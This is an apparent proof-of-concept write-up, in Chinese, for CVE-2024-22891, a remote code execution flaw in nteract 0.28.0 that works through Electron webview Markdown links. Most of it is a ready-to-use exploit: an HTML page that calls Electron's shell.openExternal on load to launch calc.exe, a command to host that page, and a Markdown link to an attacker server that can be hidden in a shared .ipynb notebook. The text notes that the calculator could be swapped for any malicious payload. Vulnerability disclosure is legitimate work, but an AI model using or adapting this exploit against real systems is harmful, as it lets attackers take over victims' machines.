CVE-2024-22891 漏洞的概念验证(Proof-of-Concept)。
nteract 0.28.0 允许通过 Markdown 链接使用 Electron Webview,从而导致远程代码执行。
nteract 0.28.0 允许通过 Markdown 链接使用 Electron Webview,从而导致远程代码执行(因为 webPreferences 中的 nodeIntegration 为 true)。
利用原理说明
步骤 1)攻击者搭建服务器,托管用于通过 openExternal() 函数启动 calc.exe 的源代码。
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
注意: ※ 如果想快速测试,可在攻击者的电脑上使用以下代码创建服务器。
$ python -m http.server 80
步骤 2)在受害者系统上运行 nteract 应用并创建 Markdown 链接,或者分享攻击者的 ipynb 文件作为示例代码。然后,执行 calc.exe。
[Read This] (http://[attcker_adress]/shard_data.html)

通过文件共享执行 .ipynb 文件时,请注意链接可能不可见。这个 calc.exe 原本可以是任何本地或远程的恶意载荷,攻击者借此即可完全访问受害者的系统。